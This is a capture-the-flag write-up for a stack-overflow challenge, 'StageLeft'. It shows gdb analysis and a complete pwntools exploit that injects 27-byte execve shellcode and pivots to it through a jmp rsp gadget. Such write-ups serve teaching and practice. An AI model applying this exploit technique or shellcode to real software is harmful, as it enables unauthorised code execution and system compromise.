This challenge is very similar to the last challenge Running on Prayers, except instead of an unbounded gets into a buffer, we read in 0x40 bytes using fgets. Because space is limited, we have to inject our shellcode in stages, as the name suggets.
undefined8 vuln(void)
{
char local_28 [32];
printf("Cramped...");
fgets(local_28,0x40,stdin);
return 0;
}
Again we can use jmp rsp, but this time we will use somthing like
sub rsp, 0x20 jmp rsp
after rsp. 0x20 is just a placeholder, but it represents the offset between rsp and the start of the buffer. We will load our shellcode at the start of the buffer, and then calculte the offset between the start of the buffer and rsp. Using this, we jump back to the start of the buffer and execute our shellcode. I used the placeholder value, and using gdb, set a breakpoint on ret, and continued to when jmp rsp
is called. The difference between the start of our buffer (which I filled with ‘AAAA’ for debugging) and rsp will be the offset we need.
0x401232 <gift+10> in al, dx
0x401233 <gift+11> adc BYTE PTR [rsi-0x39], ah
0x401236 <gift+14> rex.RB (bad)
→ 0x401238 <gift+16> jmp rsp
0x40123a <gift+18> lea rax, [rip+0xdd7] # 0x402018
0x401241 <gift+25> mov rdi, rax
0x401244 <gift+28> mov eax, 0x0
0x401249 <gift+33> call 0x401060 <printf@plt>
0x40124e <gift+38> mov eax, 0xffffffff
gef➤ search-pattern("AAAA")
[+] Searching '(AAAA)' in memory
[+] In '[stack]'(0x7fff3aca9000-0x7fff3acca000), permission=rwx
0x7fff3acc7370 - 0x7fff3acc7376 → "(AAAA)[...]"
0x7fff3acc7374 - 0x7fff3acc737a → "(AAAA)[...]"
0x7fff3acc7378 - 0x7fff3acc737e → "(AAAA)[...]"
0x7fff3acc737c - 0x7fff3acc7382 → "(AAAA)[...]"
0x7fff3acc7380 - 0x7fff3acc7386 → "(AAAA)[...]"
0x7fff3acc7384 - 0x7fff3acc738a → "(AAAA)[...]"
0x7fff3acc7388 - 0x7fff3acc738e → "(AAAA)[...]"
0x7fff3acc738c - 0x7fff3acc7392 → "(AAAA)[...]"
0x7fff3acc7390 - 0x7fff3acc7396 → "(AAAA)[...]"
0x7fff3acc7394 - 0x7fff3acc739a → "(AAAA)[...]"
i r rsp
rsp 0x7fff3acc73a0 0x7fff3acc73a0
>>> 0x7fff3acc73a0 - 0x7fff3acc7370
48
So 48 is the offset we need to pivot back to our shellcode. I think the shellcode generated by pwntools shellcraft would have been too long, so i found a shorter 27 byte shellcode on https://shell-storm.org/shellcode/index.html
. Now putting it all together:
from pwn import *
elf = context.binary = ELF("./StageLeft")
target = process("./StageLeft")
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += b"\x00" * 13
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 48;
jmp rsp;
''')
target.sendlineafter("...", payload)
target.interactive()